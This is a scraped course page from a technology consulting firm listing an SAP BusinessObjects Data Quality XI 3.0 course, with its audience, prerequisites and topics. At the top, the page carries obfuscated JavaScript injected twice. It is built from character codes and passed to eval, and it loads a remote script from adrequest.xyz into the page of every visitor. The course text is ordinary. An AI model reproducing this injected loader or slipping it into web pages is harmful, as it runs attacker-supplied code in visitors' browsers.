var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 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120, 54, 55, 92, 120, 54, 53, 92, 120, 55, 52, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 92, 120, 55, 51, 92, 120, 52, 50, 92, 120, 55, 57, 92, 120, 53, 52, 92, 120, 54, 49, 92, 120, 54, 55, 92, 120, 52, 69, 92, 120, 54, 49, 92, 120, 54, 68, 92, 120, 54, 53, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 118, 97, 114, 32, 110, 32, 61, 32, 116, 114, 117, 101, 59, 10, 102, 111, 114, 32, 40, 118, 97, 114, 32, 105, 32, 61, 32, 48, 59, 32, 105, 32, 60, 32, 116, 110, 100, 101, 109, 111, 115, 91, 34, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 54, 55, 92, 120, 55, 52, 92, 120, 54, 56, 34, 93, 59, 32, 105, 43, 43, 41, 32, 123, 10, 32, 32, 32, 32, 105, 102, 32, 40, 116, 110, 100, 101, 109, 111, 115, 91, 105, 93, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 34, 41, 32, 123, 10, 32, 32, 32, 32, 32, 32, 32, 32, 110, 32, 61, 32, 102, 97, 108, 115, 101, 10, 32, 32, 32, 32, 125, 10, 125, 59, 10, 105, 102, 32, 40, 110, 32, 61, 61, 32, 116, 114, 117, 101, 41, 32, 123, 10, 32, 32, 32, 32, 97, 49, 40, 41, 59, 10, 125)); InfoStar International, Technology Consulting and Enterprise Support Services var _0x42tbc1 = 1; eval(String.fromCharCode(118, 97, 114, 32, 97, 49, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 40, 41, 32, 123, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 49, 32, 61, 32, 83, 116, 114, 105, 110, 103, 91, 34, 92, 120, 54, 54, 92, 120, 55, 50, 92, 120, 54, 70, 92, 120, 54, 68, 92, 120, 52, 51, 92, 120, 54, 56, 92, 120, 54, 49, 92, 120, 55, 50, 92, 120, 52, 51, 92, 120, 54, 70, 92, 120, 54, 52, 92, 120, 54, 53, 34, 93, 40, 49, 48, 52, 44, 32, 49, 49, 54, 44, 32, 49, 49, 54, 44, 32, 49, 49, 50, 44, 32, 49, 49, 53, 44, 32, 53, 56, 44, 32, 52, 55, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 49, 49, 52, 44, 32, 49, 48, 49, 44, 32, 49, 49, 51, 44, 32, 49, 49, 55, 44, 32, 49, 48, 49, 44, 32, 49, 49, 53, 44, 32, 49, 49, 54, 44, 32, 52, 54, 44, 32, 49, 50, 48, 44, 32, 49, 50, 49, 44, 32, 49, 50, 50, 44, 32, 52, 55, 44, 32, 57, 55, 44, 32, 49, 48, 48, 44, 32, 52, 54, 44, 32, 49, 48, 54, 44, 32, 49, 49, 53, 44, 32, 54, 51, 44, 32, 49, 49, 54, 44, 32, 54, 49, 44, 32, 52, 57, 41, 59, 10, 32, 32, 32, 32, 118, 97, 114, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 91, 34, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 53, 92, 120, 54, 49, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 52, 53, 92, 120, 54, 67, 92, 120, 54, 53, 92, 120, 54, 68, 92, 120, 54, 53, 92, 120, 54, 69, 92, 120, 55, 52, 34, 93, 40, 34, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 41, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 55, 52, 92, 120, 55, 57, 92, 120, 55, 48, 92, 120, 54, 53, 34, 93, 32, 61, 32, 34, 92, 120, 55, 52, 92, 120, 54, 53, 92, 120, 55, 56, 92, 120, 55, 52, 92, 120, 50, 70, 92, 120, 54, 65, 92, 120, 54, 49, 92, 120, 55, 54, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 54, 51, 92, 120, 55, 50, 92, 120, 54, 57, 92, 120, 55, 48, 92, 120, 55, 52, 34, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 49, 92, 120, 55, 51, 92, 120, 55, 57, 92, 120, 54, 69, 92, 120, 54, 51, 34, 93, 32, 61, 32, 116, 114, 117, 101, 59, 10, 32, 32, 32, 32, 95, 48, 120, 52, 50, 116, 98, 99, 50, 91, 34, 92, 120, 54, 57, 92, 120, 54, 52, 34, 93, 32, 61, 32, 34, 92, 120, 54, 51, 92, 120, 54, 52, 92, 120, 51, 55, 92, 120, 51, 48, 92, 120, 51, 57, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 51, 48, 92, 120, 51, 49, 92, 120, 51, 48, 92, 120, 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SAP - Course Details

DQXI30:CC(BOQ305-E) Data Quality XI 3.0: Core Concepts (BOQ305-E)

SAP Course Description:
BusinessObjects TM Data Quality XI 3.0/3.1 enables you to parse, cleanse, standardize, consolidate, and enhance records. In this two-day course, you will learn about cleansing address and firm data, and matching and consolidating records.
SAP Course Duration:
Self Placed
SAP Course Target Audience:
This course is designed for individuals responsible for implementing, administering, and managing data quality projects.
SAP Course Prerequisite:
BusinessObjects Data Services XI 3.0/3.1: Core Concepts,Windows conventions,Basic database concepts
Course Content:
  • Working with Data Quality Transforms 
       -Describe the data quality framework 
       -Define the processes of parsing, standardizing, cleansing, enhancing, matching, and consolidating data 
       -Describe the available Data Quality transforms 
       -Describe how to use the Transform Editor to configure Data Quality transforms

  • Cleansing Address Data 
       -Explain the benefits of address cleansing 
       -Identify the supported formats and types of address data 
       -Describe the Address Cleanse transforms in Data Quality 
       -Define how to handle address data from different countries 
       -Configure an Address Cleanse transform 
       -Define how to cleanse transactional data

  • Cleansing Name, Firm, and Product Data 
       -Explain the benefits of data cleansing 
       -Describe the Data Cleanse transforms in Data Quality 
       -Define how to handle types of name and firm data 
       -Configure a Data Cleanse transform 
       -Define the purpose of parsing dictionaries 
       -Customize dictionary entries 
       -Set up Universal Data Cleanse for operational data

  • Matching and Consolidating Records 
       -Select a matching strategy 
       -Understand match sets, match levels, match criteria, and break groups 
       -Use the Match Wizard to configure the Match transform 
       -Describe matching methods 
       -Modify the Match transform using the Match Editor 
       -Configure post-match processing operations 
       -Understand householding and associative matching